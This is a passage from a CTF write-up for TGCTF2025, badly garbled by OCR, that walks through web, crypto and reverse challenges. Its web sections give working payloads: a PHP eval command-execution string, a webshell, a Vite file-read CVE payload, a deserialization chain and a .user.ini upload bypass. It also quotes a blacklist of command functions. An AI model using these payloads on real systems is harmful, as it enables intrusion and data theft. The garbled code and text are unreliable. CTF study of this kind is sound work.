TGCTF2025 Writeup

Web

AAAfqT SR
FTERCE

« > C A F%£ nodel.tgctf.woooo.tech:30794/?tgctf2025 =eval(end(current(get_defined vars())));8b=system(%271s%20/%27);
bin dev etc flag home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var <php

$tgctf2025=$_GET[ tgctf2025' ];
if(!preg,match('/{o\l\ [3-97[\"[\" \\@\\#\\\M\%\\"\\&I\\*\\ VD NI NENT NI IV IV DN DTV IN N, $tgetf2025)) {
hint: fRA]AXSFRE—N—NE, R EETENGTS FHICSE ~ (bushi
eval ($tgetf2025) ;
}

elsef
die( (7 O )7 JEF! coox~@);
}

highlight file(_FILE );

< c A TZ£ nodel.tgctf.woooo.tech:30794/?tgctf2025=eval(end(current(get_defined_vars()))); &b=system(%27cat%20/flag%27);

TGCTF{a8103d62-5ef4-b9e7-c73¢c-35261adedbca} <2php

$tectf2025=§ GET[ tgetf2025’ ];

if (tpreg_match("/0/1] [3-0] [\™[\" [\@ \# [\\$ [\ \"|N& [ \e [\ (1N [\=I\= v VEADIAT I IV VN N TO IV NN, Stget£2025)) {

hint: FRA] LA 35 5 & > ERHweSE shi
eval ($tgctf2025) ;
}
else{
die( (7 'O )7 JEHL oo~ @");
}

highlight_file(_FILE_);

N ERFHAE R

robots.txt

&« C O 8 &£ http://node2.tgctfwoooo.tech:31552/robots.txt

User-Agent: *

Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php



tgshell.php, EZAWNEIE

O QFde httpy/node2 tgctiwaooo.tech:31552/tgshell.php

@

. R
! 1;shcl].:.’;_l‘(]ST[ shell”):

eval (§shell)s

1
»

b

@ FEE = O X

AntSword #giE &O @il

« 2 [027.25.151.9 | »
M 4ud: [tgfffffllllaagggggg -8 X

‘ | tgfffffillaagggggg
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1 TGCTF{23116c42-0d19-5034-9c7c-3c443e0269c2}
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C A A4 view-source:http://node2.tgetfwoooo.tech: 32690/ % © & & B
WEX-WIULIE LEUUPX; /% TRITHEA BLIZ
box-shadow: 0 0 15px rgba(0, 0, 0, 0.2); /* HMFAR, EHREREE */
I
input [type="text"] {
width: 100%; /+ i ESAERREHESMRE =/
padding: 20px; /% HINAEEE B i AKE */
margin: 20px 0; /% 1§ FFilEE /
border: lpx solid #ece;
r-radius: 5px:
al : center;
tLo2em; /% HOFEE

input [type="submit™] {

padding: 15px 30px: /* BYIIREEAD =/
border: none:

border-radius: 5px:

background-color: #4CAF50;

color: white;

cursor: pointer;

font-size: 1. 2em; /* W{RIRHLFRFE »/
display: block;

margin: 20px auto: /% EEEIEHIN L FHAEE +/

}
input [type="submit”] :hover {
background-color: #45a049;
¥
form {
display: flex:
flex-direction: column:
align-items: center:
width: 100%:
}
</style>
</head>
<body>
<div class="container”>

<form method="post”

ane” placeholder
value="7dr AW, {RIEH T

<input type
<input type="submit
</form>
</div>
</hody>
</html>

Asecret_key 7 HEHBEHEAE">

& C O QR FZ£ http://node2.tgctfwoooo.tech:32690/hint kg Y @ 9

hint:
B MHANNEEXF AR, EHRREEEE, KdAl

ERTFHA-TERERME
EIIR

import ditertools

1

2

3  with open("dic.txt", "w") as f:

4 for combo in [itertools.product("abcdefghijklmnopgrstuvwxyz'", repeat=4):
5

f.write("".join(combo) + '"\n")

/home/starr

ationWarnin is deprecated as an API. See http etuptools.pypa. /latest/pkg_resources.html
t

Output Fil

Canceled by the user

BRESEXN, SRR —MKREfilename, KLFE—TIRE



t C O B F#£$ httpy//node.tgctfwoooo.tech:32690/aazz?filename=app.py ] L &g n o=

import os import string from flask import Flask, request, render_template_string, jsonify, send_from_directory from a.b.c.d.secret import secret_key app = Flask(__name_)
black_list=[{,"}','popen’,'os’, import'‘eval’, ' 'system’ 'read’,'base’,'globals'] def waf(name): for x in black_list: if x in name.lower(): return True return False def is_typable(char): # X EETimE QWERTY
B MNRIFFHE typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace return char in typable_chars @app.route('/") def home(): return
send_from_directory('static’, ‘index.html’) @app.route(/jingu’, methods=['"POST']) def greet(): template1="" template2="" name = request.form.get('name’) template = f'(name}' if waf(name): template
= "BFRBE T BIBhacker? 17, EXA, A%, @ik, @y

Image' else: k=0 for i in name: if is_typable(i): continue k=1 break if k==1: if not (secret_key[:2] in name and secret_key[2:]): template = & “73iR" #ERFTF, BHAKSGFESN, T2E LXEHB

BEETHERE

Image’ return render_template_string(template) template1 = * "R th#F T, (FEEFILIBE@EXS T! BEINE "secret_key” BRAT (1"
BfS, MRIFETcat, MALINEFEIRET
* template= template.replace("EI@","{").replace("Xds","}))") template = template if "cat” in template: template2 =

B RME S AGYRT, FATREE?

Image’ try: return template1+render_template_string(template)+render_template_string(template2) except Exception as e: error_message = f'S00iRiET, ZDEGWMT:

{template}" return error_message, 400 @app.route('/hint’, methods=['GET']) def hinter(): template="hint:

F—1B4MNERFEHAMMNEE, EIEEER, XAl return render_template_string(template) @app.route(/aazz', methods=['GET"]) def finder(): filename = request.args.get('filename', ") if
filename == ": return send_from_directory('static’, 'file.ntml’) if not filename.replace("_", ").isalnum(): content = jsonify({'error': 'R7IFFEHNET! '), 400 if os.path.isfile(filename): try: with
open(filename, '') as file: content = file.read() return content except Exception as e: return jsonify({'error’: str(e)}), 500 else: return jsonify({'error: BEAIFERBWIZIEE)), 404 if name ==
'_main__" app.run(host="0.0.0.0', port=80)

RO UBREF#H (?

<« C O Q F%#£ httpy//node2.tgctfwoooo.tech:32690/aazz?filename=. /flag > O L T O =
TGCTF{ee03685a-6b91-3a59-66d3-15e52211ba72}
—t ML
AIimGAME
EWIRVITENLS v J fl Eg/z
ErRiimTkElflagigiE
<« » G AF%: node2tgctf.woooo.tech:32445/src/views/stage/pc.vue @ B ¥ u 3 (5 ]
import | createotContext as _ vite creatcHotContext | from “/@vite/client”;import.meta.hot = _ vite ecreateHotContext("/sre/views/stage/pe.vue™);import [ def flag S/7 A v X
"/node_modules/, vite/deps/vue. js?v=beBBLIBE:
import { reactive, ref, toRefs | from "/node_modules/. vite/deps/vue. js?v=heSBb465";
import Stage from “/src/utils/stage.ts”;
impart { ElMessageBox ! from ~/node_modules/. vite/deps/element-plus. js?v=90dc146d";
const _sfc_main = /% @_PURE__ */ _defineComponent ({
__name: “pe”,
setupl__props, { expose: _expose }) |
__expose (};
const flag = ref (true)
let games = reactive(new Stage(8, 3
const | data, seore | = toRefs(games):
const handleStart = (1 = [
flag. value = false:
games. gameloop (true} ;
const handleClick = (item) => {
games, ¢licl m) ;
S
const handlelver = () =
ElMessageBox. alert (result (score. value), T\u96EA\uTCD5\uBDSB\uBDES\us%27 \u4FSC\ub218", [
confirmButtonText: "\uTBGEVUSBIA™,
callback: (action} => [
_ flag. value = true;
. ;I:mserousl:.'L'seHNLSu'ina: true
I
ki
const result = (source) =» |
if (source > 17) {
return
524D\ub210\uTEES\uFF1A$ {score. value] \u5206
T\uSFOT\u4ES6</ p>
TOFO\USIFT</ p>
GEE\uGF55\u4E0B, 1 slili@e e \n4E2D< /D>
52104 uTEES\uFF1A$ [score. value] \u3206
result”™>
<p>\u83DC\uFFO1\uFFO1\uFFO1</p>
ahdivy
b
const __returned { flag, get games()
return games;
{
handleStart, handleClick, handleDver, result j: .
d Pr?r(irpmrnﬁdi, __isSceriptSetup”, [ enumerable: false, value: true }); @ b, & 8 E

VitefEE X 415280 (CVE-2025-31125)
payload:@fs/tgflagggg?import&?inline=1.wasm?init
TGCTF{1a0861c7-971e-53fa-9896-7c5a6980514c}

taxfFLfz?



WiRlrobots.txt -> fialclass.php

phpRFFI1k:
AREGIR
1 <?php
2 class yesterday {
3 public $study;
4 public function __construct() {
5 $this->study = new today();
6 }
7}
8
9 class today {

10 public $doing;

11 public function __construct() {
12 $this->doing = new future();
13 }

14 }

15

16 class future {

17 public function __toString() {
18 return "win";

19 }

20 }

21

22  Spayload = new yesterday();

23 S$serialized = serialize(Spayload);
24 for($i=0; $i<5; $i++) {

25 $serialized = base64_encode($serialized);
26}

27 echo S$serialized;

28

N
©

2>



i TR
Z{ Raw  Hex ® N = | E{f Raw Hex MWEER = n =
1 POST /class. php?filename= </span>
Vinl0b20yUnJOV1p@VOVEVY1XeGFhR1 13V 1RCa01 XUnpZVV YwYUUXNGYGe FpWRXB6V 1VER2NsW <span style="color: #0000BB”>
1VTbUZXUIRWVUFZHMXpNV1pYU1hsaVIzQk9UV1ZzTkZZeWRHOWpiVVpXVDBoalVGSkd jRkJXYT best64 decode
JNMVEwWndShGw2Vm1oT1YzaGFXV1 JLYZFWSF JuS1dWRXBoVmt VMVQxUnR jekZXV jBsNV1rZEd <{/span>
VM1ZOZUROWFZ6QjRZVzFHVms5SYpGQ1NSbk JRV1Z jd0O5XTkdaSF JPVm1ST1VqRkt XbFV5TVRS <span style="color: #007700">
VGJVWIBUMYV JPV1UxcVZYZFVNV1JoV jFVeF JVMUVNRDA9 HTTP/1. 1 (
Host: nodel. tgctf. woooo. tech:31894 </span>
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64: rv:136.0) <span style="color: #0000BB”>
Gecko/20100101 Firefox/136.0 $data
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*:q=0.8 </span>
5 Accept-Language: <span style="color: #007700">
zh—CN, zh;q=0. 8, zh-TW; g=0. 7, zh-HK ; g=0. 5, en-US; g=0. 3, en; g=0. 2 ))i<br />
6 Accept-Encoding: gzip, deflate, br &nbsp;&nbsp;&nbsp;&nbsp;} <br />
7 Conmnmectiom: keepralive &nbsp;&nbsp;&nbsp; &nbsp ;
3 Upgrade-Insecure-Requests: 1 <{/span>
g Prierity: u=0, i <{span style="color: #FF8000">
10 Content-Type: application/x—www—form—urlencoded //&nbsp; Youknbsp; learn&nbsp; yesterday, &nbsp; youknbsp; choos
11 Content-Length: 13 eknbsp;today, &nbsp;can&nbsp; youknbsp; get&nbsp; to&nbsp; your
12 &nbsp; future?<hr />
13 wow=cat /flag </span>
<{span style="color: #0000BB”>
&gt <br />
</span>
11 </span>
12 </code>

You studied hard yesterday. <br>

And what yvou' ve done has given yvou a choice. <br>
This is your future.<br>

[FGCTF {8c£63350-6cc T-al43-cbBd-5eebdce04£83}

13
@{@} & | Search L2 0B @{é} & | Search P2 0B

(ez) upload
RIBFE, BJLUAIRupload.php.bakifE) R

(RS EEZS

1 <?php

2 define('UPLOAD_PATH', __DIR__ . '/uploads/');

3 $is_upload = false;

4  Smsg = null;

5 $status_code = 200; // HIUKZEEZN 200

6 if (isset($_POST['submit'])) {

7 if (file_exists(UPLOAD_PATH)) {

8 $deny_ext = array("php", "php5", "php4", "php3", "php2", "html",
"htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml",
"asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf",
"htaccess");

9

10 if (isset($_GET['name'])) {

11 $file_name = $_GET['name'];

12 } else {

13 $file_name = basename($_FILES['name']['name']);
14 }

15 $file_ext = pathinfo($file_name, PATHINFO_EXTENSION) ;
16

17 if (ldin_array($file_ext, $deny_ext)) {

18 Stemp_file = $_FILES['name']['tmp_name'];

19 $file_content = file_get_contents($temp_file);

20



21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50
51

if (preg_match('/.+?</s', $file_content)) {
Smsg = 'XHERBEESIFEFR, Bl EF! '
$status_code = 403; // 403 FnZZiEip/E]
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = ' LEE/RIN! '
} else {
$msg = ' LEHE! ';
$status_code = 500; // 500 X ARESZAE[EIR

}
} else {

Smsg = 'BIERFAZLEXHE! v,
$status_code = 403; // 403 FrZZ1EipE]
}
} else {
$msg = UPLOAD_PATH . 'NXHXRATFE,FFICIE! ';
$status_code = 404; // 404 FrZHERILE

/) IBE HTTP &3

http_response_code ($status_code) ;

// BIHEER

echo json_encode([

'status_code' => S$status_code,

'msg' => Smsg,

FB.user.inigtid xd phpE4%2 BI@



Burp  Praject Intruder Repeater View Help

Burp Suite Professional v2023.10.1.2 - Temporary Project - licensed to h3110w0r1d = =] X

Dashboard Target Proxy. Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Leam 48} Settings
4%+ P
Bl 3 concel >0 Target: hitp tgetf, £ wmen (D
O== T =
- 3 o
Request Response Inspector D::®x
pretty  Raw  Hex (= Pretty  Raw  Hex  Render B n = R - .
L POST /upload.php?name=../.user.ini H{TB/L.1 | HTTE/1.1 200 OK
Host: nodel.tgetf.wssos.tech:30639 2 Server: nginx
3 User=-Agent: Mozilla/S5.0 (Windows NT 10.0; Wined; x64; ev:137.0) Geeko/20100101 3 Date: Sum, 13 Apr 2025 12:00:1% GNT Request query parameters 1 A
Firefox/137.0 4 Content-Type: text/html; charset=UTF-8
1 application/xml;ge 5 Conmection: close eI Lot parnerere 3 "

=07, Zh-HK; q=0.5, en-US,

2ip,
1tipart/form-data;
smmboundary’leasdéecased12a8 711637 Geade2and

Doundary=-=
content-Length
ech: 30638

woooo, bech: 30634/

13 Priority: uw=0, i

15 geckof Y71 Gasedl2a8711E3T6eadeland
16 Content-Disposition: form-data; name="name"; filename=".user.ini®
! Content-Type: application/octet-stream

auto_p

epend_file=L.png
geckoformboundaryTleaedéetared12a8711E2TCeadelaad
21 Content-Disposition: form-data; names"submit”

& X-Powered-By: FHE/7.3.26
! Content-Length: 70

Request cockies (1] v
5 (“"sratus_code WESHT\ ndeLE | 408! AT201 U210 uE2SL\ ULLOL ")

Request headers 12 v

Response headers 6 -

gec 71 12a8711¢3T6eade2an3-
@ &€ 2] [seanch £ onighlights | (D) ¢ |3 | search 2 0highlights
Dane @ $ % & 20
Burp Project Intruder Repeater View Help Burp Suite Professional v2023.10.1.2 - Temporary Project - licensed to h3110w0r1d - =] x
Dashboard Target Proxy. Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Leam 45} Settings
4% 5x o+ P
Bl & cone |[<ir][> Target: hitp://node2 tgctf, ch30638 /P HTTRA (3)
O= = - =
Request Response Inspector n = - ©® %
Pretty Raw  Hex 8B w = Pretty  Raw  Hex  Render B v = R a .
FOST [upload.php?name=../l.png HTTR/1.1 | HTTR/1.1 200 OK
Host: node?.tgetf.wsdos.tech:30639 2 Seever: ngim:
: User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: xé4: evil37.0} Gecko/20100101 3 Date: Sun, 13 Apr 2025 1 28 GMT Request query parameters. 1 v
Firefox/137.0 4 Content-Type: text/html; chacset=UTF-g
4 Accept: text/hEml, application/xhtmlesml, Applicarion/wml;ge0.%, =/*iq=0.9 5 Commectisn: close
5 Accept-Language: zh-CN, zh:qe0.8, zh=Tw: qeD. 1, zh-HK; 0.5, en-US: q=0.3, en: g 6 X-Powered-By: BHE/7.3.2¢ Reguest body parameters 2 v
& Accept-Encoding: gaip, deflate, br 7 Content-Lemgth: 70
7 Content-Type: multipart/form-datas 8 Request cookies 0 v
boundary-----geckofomboundaryb045ee788£72£02f1cad371e0e £13£61 ¢ {"status_code®:200, "mag®: "\us58T \udef b udeda\udf200us2 10 us2 s £ utio1")
Content-Length: 346
] etf . wosos. tech: 30636 Request headers 12 v
1 wosoo. tech: 30638/ ntahaedeT 6 ~

1

12 Upgrade-Insecure-Requests: 1
13 Priority: us0, i
14
1

§ mmmme geckofomboundaryb0SSee 60 £73£02 f1cad3 T lenef13161

L& Content-Dispesition: form-data; name-"name"; filename-"l.png"
17 Content-Type: image/png

phpinfal) 17>
geckoformboundaryb0oSes 188 £73£02€1cadlTLenef 13661
Content-Disposition: form-data; name="submit®

mom

-===--geckoformboundaryb0sSee 60 £73£02 flcad3 T lelef13£51--

Search

Q&>

Done

Search 2| ohighlights

@& e »

£ 0highlights

@b

ARERIRRKupload.phpiifT



Crypto

O 8 F%£ hitpy//node2 tgctfwoooo.tech:30639

Additional Modules

Environment
PHP_EXTRA_CONFIGURE ARGS —-enable-fpm --with-for data vath fom eRoup data ~~disble-cgi
KUBERNETES SERVICE PORT 443
KUBERNETES PORT tepi//10.43.0.1:443
HOSTNAME ret2shell-26-398-1744545367
PHP_INI DIR Just/local/etc/php
SHLVL 1
HOME fhome/www-data
PHP LDFLAGS -WI,-O1 -pie
PHP_CFLAGS ~fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE OFFSET BITS=64
PHP _VERSION 7326
GPG KEYS CBAF69F173A0FEA4B537F470D66CI593118BCCBE FI8252826ACDISTEF3B0D3OF2F7956BC5DA0IBSD
PHP_CPPFLAGS ~fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE OFFSET BITS=64
PHP_ASC URL https://www.php.net/distributions/php-7.3.26.tarxz.asc
PHP_URL p: istributions/php-7.3.26.tarxz
KUBERNETES_PORT 443 TCP_ADDR 10.43.0.1
PATH fusr/ jin:fusr/ Ifbin: 'sbin:fusr/bin:/sbin:/bin
KUBERNETES PORT 443 TCP PORT 443
KUBERNETES PORT 443 TCP_PROTO tep
KUBERNETES SERVICE PORT HTTPS 443
KUBERNETES PORT 443 TCP tepy//10.43.0.1:443
PHPIZE DEPS autoconf dpkg-dev dpkg file g+ + gee libc-dev make pkgconf re2c
KUBERNETES SERVICE HOST 10.43.0.1
PWD fvarfwrena/html
PHP_SHA256 d930524cb2882090b6a37fd1e0c764be160532461152b7f6bBI041ad8875208
FLAG [TGCTF(00a0a7d9-21e5-fad1-29be-56412460e08¢}
USER.

AAAAAAAA-H - FH|
MENE, SJNETETL, BEXATER

ADIR

1 s="UGBRC{RIOG!004_5C3_OVUI_DV_MNTB}'
2 flag=""

3 for i in range(len(s)):

4 if ord(s[i])>=65 and ord(s[i]) <=90:
5 tmp=ord(s[i])+i-1

6 if tmp>90:

7 flagt+=chr (65+tmp-91)

8 else:

9 flag+=chr (tmp)

10 else:

11 flagt=s[i]

12  print(flag)

13 #TGCTF{W0OOO!Y04_5R3_GOOD_AT_MOVE}

MmMAERIEIE

HADIR

1 from gmpy2 import =



2  from Crypto.Util.number -import *

3 n=[]

4 c=[]

5 e=65537

6 with open('challenge.txt','r',encoding="utf-8') as f:
7 f.readline()

8 for i 1in range(60):

9 f.readline()

10 f.readline()

11 n.append(int(f.readline().strip().split('=")[1].strip()))
12 c.append(int(f.readline().strip().split('=")[1].strip()))
13 for i 1in range(len(n)):

14 for j in range(len(n)):

15 if(il=j):

16 if(ged(n[i],n[j])!=1):

17 print(i,Jj)

18 print("p =",ged(n[i],n[31))

19 try:

20 p=gcd(n[il,n[j1)

21 g=n[il//p

22 phi=(p-1)x(q-1)

23 d=gmpy2.invert(e,phi)

24 m=long_to_bytes(pow(c[i],d,n[i]))
25 if b'flag{' or b'TGCTF{' in m:
26 print(m)

27 break

28 except:

29 break
30 #b ' TGCTF{ExcePt10n41lYOu_Fl4gFOrYou_555b0nus}’

EErsa
=]

RISIR

1 from math import gcd

2 from Crypto.Util.number import =

3  from secret import flag

4

5 # PART1

6 pl = getPrime(512)

7 gl = getPrime(512)

8 nl = pl x gl

9 phi=(pl-1) * (91 - 1)

10 ml = bytes_to_long(flag[:len(flag) // 2])

11 el = getPrime(18)



12 while gcd(el, phi) != 1:

13 el = getPrime(17)

14 ¢l = pow(ml, el, nl)

15

16 print("pl =", pl)

17 print("ql =", qgl)

18 print("cl =", cl)

19

20 # PART2

21 n2 = getPrime(512) * getPrime(512)

22 e2 = 3

23  m2 = bytes_to_long(flag[len(flag) // 2:])

24  c2 = pow(m2, e2, n2)

25

26  print("n2 =", n2)

27  print("c2 =", c2)

28 print("e2 =", e2)

29

30 # pl =
8362851990079664018649774360159786938757293294328116561219351503022492961843907
118845919317399785168488103775809531198339213009936918460080250107807031483

31 # ql =
8312546034426788223492083178829355192676175323324230533451989649056072814335528
263136523605276378801682321623998646291206494179416941978672637426346496531

32 # cl =
3971197307544330347329285940402680929931744602191739120656851101489478994681910
3680496756934914058521250438186214943037578346772475409633145435232816799913236
2590747699581390459974866225055792394483958078570341541420678668604311322620602
79168752474990452298895511880964765819538256786616223902867436130100322

33 # n2 =
1038731396043881383679629015823435955707731010487336946039785704858943170887451
6053204947318147797696624098699445211900296649240587394967307673173095323258474
7066494028393377311943117296014622567610739232596396108513639030323602579269952
539931712136467116373246367352649143304819856986264023237676167338361059

34 # c2 =
5138098217004977970368283598807370989640926408319880552205145903373016682151141
9536113492522308604225188048202917930917221

35 # e2 =3

36

B e HRIEETINE
Exp
e
1  dmport gmpy2



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

27

28
29
30
31
32
33

from Crypto.Util.number -import long_to_bytes
from functools import reduce
pl =
8362851990079664018649774360159786938757293294328116561219351503022492961843907
118845919317399785168488103775809531198339213009936918460080250107807031483
gl =
8312546034426788223492083178829355192676175323324230533451989649056072814335528
263136523605276378801682321623998646291206494179416941978672637426346496531
cl =
3971197307544330347329285940402680929931744602191739120656851101489478994681910
3680496756934914058521250438186214943037578346772475409633145435232816799913236
2590747699581390459974866225055792394483958078570341541420678668604311322620602
79168752474990452298895511880964765819538256786616223902867436130100322
phi=(pl-1)*(ql-1)
for e in range(2xx17,2xx18-1):
if gmpy2.gcd(e,phi)==1:
d=gmpy2.invert(e,phi)
ml=Tlong_to_bytes(pow(cl,d,plxql))
if b'TGCTF{' in ml:
print(ml)
break
def CRT(items):
N = reduce(lambda x, y: x *x y, (i[1] for i 1in items))
result = 0
for a, n in items:
m=N//n
d, r, s = gmpy2.gcdext(n, m)
if d = 1:
raise Exception("Input not pairwise co-prime')
result += a x s * m
return result % N, N
e = 0x3
n=
[103873139604388138367962901582343595570773101048733694603978570485894317088745
1605320494731814779769662409869944521190029664924058739496730767317309532325847
4706649402839337731194311729601462256761073923259639610851363903032360257926995
2539931712136467116373246367352649143304819856986264023237676167338361059]]
c=
[513809821700497797036828359880737098964092640831988055220514590337301668215114
19536113492522308604225188048202917930917221]
data = list(zip(c, n))
X, n = CRT(data)
m = gmpy2.iroot(gmpy2.mpz(x), e)[0].digits()
print(long_to_bytes(int(m)))
#b'TGCTF{!!3xP_Is_S'
#b'm@1l1_But_D@ng3r0}'



B fERfactordb3 R T AL

(ASEEZS

from Crypto.Util.number import *
import gmpy2
Nn=81054462466121336796499689506081535497288989265948394827620308805539190747955
3

4 C=67061023599901209984628372156905967472571280495080795501072596810364235976580
6
e=65537
phi=(113-1)*(18251-1)*(2001511-1)*(214168842768662180574654641-1) *
(916848439436544911290378588839845528581-1)
d=gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,n)))

9 #b ' TGCTF{f4888_6abdc_9c2bd_9036bb} '

tRwSiAns

=]
(AREES
1 from flag import FLAG
2 from Crypto.Util.number import getPrime, bytes_to_long
3 dmport hashlib
4
5 def generate_key(bits=512):
6 p = getPrime(bits)
7 g = getPrime(bits)
8 return p * q, 3
9
10  def hash(x):
11 return int(hashlib.md5(str(x).encode()).hexdigest(), 16)
12
13  def encrypt(m, n, e):
14 x1, x2 = 307, 7
15 cl = pow(m + hash(x1), e, n)
16 c2 = pow(m + hash(x2), e, n)
17 return cl, c2
18
19 m = bytes_to_long(FLAG)
20 n, e = generate_key()
21 cl, c2 = encrypt(m, n, e)
22 print(f"n = {n}")



23
24
25
26
27

28
29

30

31

print(f"e = {e}")
print(f"cl = {cl1}")
print(f"c2 = {c2}")

n =
1008857852563421690567651122034470429108866472387874904625063649774295192907062
0452198459678353719984214053582320843328457149513241596038117516343467577532890
5396713032321690195499705998621049971024487732085874710868565606249892231863632
731481840542506411757024315315311788336796336407286355303887021285839839

e =3

cl =
4197391089574767389918767941744386507416058975418011844236504060878625716753297
6519645413349472355652086604920132172274308809002827286937134629295632868623764
9340429896484980067062849843130782308487389893315791401058766433690410294387081
79499450424414752031366276378743595588425043730563346092854896545408366

c2 =
4197391258392690151844464283511131452672096787917222398653598412457640365155327
3447618087600591347032422378272332279802860926604693828116337548053006928860031
3389389357461799123309611947686935067125334208184466726130538882569439212229156
44107389736912059397747390472331492265060448066180414639931364582445814

Franklin reiter<BXBAX I

(GRS

1 dmport hashlib

2 from Crypto.Util.number import long_to_bytes
3 dmport libnum

4 qdmport binascii

5 n =

1008857852563421690567651122034470429108866472387874904625063649774295192907062
0452198459678353719984214053582320843328457149513241596038117516343467577532890
5396713032321690195499705998621049971024487732085874710868565606249892231863632
731481840542506411757024315315311788336796336407286355303887021285839839

e =3

cl =
4197391089574767389918767941744386507416058975418011844236504060878625716753297
6519645413349472355652086604920132172274308809002827286937134629295632868623764
9340429896484980067062849843130782308487389893315791401058766433690410294387081
79499450424414752031366276378743595588425043730563346092854896545408366

c2 =
4197391258392690151844464283511131452672096787917222398653598412457640365155327
3447618087600591347032422378272332279802860926604693828116337548053006928860031
3389389357461799123309611947686935067125334208184466726130538882569439212229156
44107389736912059397747390472331492265060448066180414639931364582445814



10 hi int(hashlib.md5(str(307).encode()) .hexdigest(), 16)
11 h2 int(hashlib.md5(str(7).encode()) .hexdigest(), 16)
12 delta = h2 - hl

13 def franklinReiter(n,e,cl,c2,a,b):

14 PR.<x> = PolynomialRing(Zmod(n))
15 gl = (x)"e - cl

16 g2 = (a*xtb)"e - c2

17

18 def gcd(gl, g2):

19 while g2:

20 gl, g2 = g2, gl % g2

21 return gl.monic() #

22 return -gcd(gl, g2)[0]

23  m=franklinReiter(n,e,cl,c2,1,delta)
24 print(libnum.n2s(int(m-h1)))
25 #b'TGCTF{RS4_TwlnZ_dOYou_thlnk_ItS_fun_2win?!!!1111111111}'

Reverse

base64

HADIR

1 dimport base64

3  custom_table =
"GLp/+Wn7ugX8FQ2JIDR1cOMEU53sjBwyxglmrCVASThAfEOVPHaYZNzo4ktK9iebI"

4  encoded = "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8h1irfiXC9gWHOHQayCIVbB8CIF=""

5

6 def custom_to_std(encoded_str):

7 std_table =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/"

8 decoded = []

9 for ¢ in encoded_str:

10 if ¢ == '=";:

11 decoded.append('=") # REFIEEFT

12 continue

13

14 idx = custom_table.index(c)

15 if didx >= 24:

16 original_idx = didx - 24 # [O/#{F#E

17 else:

18 original_idx = idx + 40 # [EI#(7i1HEE

19

20 decoded.append(std_table[original_idx % 64])



21

return ''.join(decoded)
22
23  std_b64 = custom_to_std(encoded)
24  print("EREARE Base64:", std_b64)
25
26  decoded_bytes = base64.b64decode(std_b64)
27 print("f#3/EH Flag:", decoded_bytes.decode())
T FRARFIES
exe->pyc->py

(ASEEZS

7975,

# uncompyle6 version 3.9.1
# Python bytecode version base 3.8.0 (3413)
3  # Decompiled from: Python 3.10.11 (tags/v3.10.11:7d4cc5a, Apr 5 2023,
00:38:17) [MSC v.1929 64 bit (AMD64)]
4  # Embedded file name: output.py
5 from collections import Counter
6 print("Welcome to HZNUCTF!!!")
7  print("Plz input the flag:")
8 a = dinput()
9 b = Counter(a)
10 ¢ = "".join((str(b[d]) for d in a))
11 print("ansl: ", end="")
12 print(c)
13 if ¢ = "111111116257645365477364777645752361": # HZNUCTF{...}
14 print("wrong_wrong!!!")
15 exit(1)
16 f =""
17 for d in a:
18 if b[d] > 0:
19 f +=d + str(b[d])
20 b[d] =0
21 else:
22 g = [ord(d) for d in f]
23 h = [
24 7 = g[0] == 504,
25 9 x g[0] - 5 x g[1] == 403,
26 2 x g[0] - 5 x g[1] + 10 * g[2] == 799,
27 3 x g[0] + 8 x g[1] + 15 * g[2] + 20 * g[3] == 2938,
28 5 % g[0] + 15 » g[1] + 20 * g[2] - 19 » g[3] + 1 *» g[4]
29 7 %
1225,
30
- 77 x g[6]

2042,

glo] + 1 x g[1] + 9 x g[2] - 11 % g[3] + 2 * g[4] + 5 % g[5
11 = g[0] + 22 * g[1] + 33 * g[2] + 44 * g[3] + 55 * g[4] + 66 x g[5]



31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

21 x g[o] + 23 » g[1] + 3 » g[2] + 24 » g[3] - 55 x g[4] + 6 » g[5] -
7 x g[6] + 15 x g[7] == 229,

2 x g[0] + 26 x g[1] + 13 % g[2] + 0 x g[3] - 65 * g[4] + 15 x g[5] +
29 x g[6] + 1 * g[7] + 20 *x g[8] == 2107,

10 * g[O] + 7 *x g[1l] + -9 * g[2] + 6 * g[3] + 7 x g[4] + 1 x g[5] +
22 x g[6] + 21 * g[7] - 22 * g[8] + 30 * g[9] == 4037,

15 x g[0] + 59 * g[1] + 56 x g[2] + 66 * g[3] + 7 * g[4] + 1 * g[5] -
122 * g[6] + 21 x g[7] + 32 * g[8] + 3 x g[9] - 10 * g[1l0] == 4950,

13 * g[0] + 66 * g[1l] + 29 * g[2] + 39 x g[3] - 33 * g[4] + 13 * g[5]
-2 x g[6] + 42 x g[7] + 62 x g[8] + 1 x g[9] - 10 x g[10] + 11 * g[ll] ==
12544,

23 * g[o] + 6 = g[1] + 29 * g[2] + 3 % g[3] - 3 * g[4] + 63 * g[5] -
25 x g[6] + 2 * g[7] + 32 x g[8] + 1 x g[9] - 10 * g[10] + 11 * g[11] - 12 *
g[12] == 6585,

223 x g[0] + 6 * g[1] - 29 * g[2] - 53 * g[3] - 3 * g[4] + 3 * g[5]

65 * g[6] + 0 x g[7] + 36 * g[8] + 1 *x g[9] - 15 * g[10] + 16 * g[1ll] - 18 *
g[12] + 13 * g[13] == 6893,
29 x g[0] + 13 * g[1] - 9 * g[2] - 93 * g[3] + 33 x g[4] + 6 x g[5] +

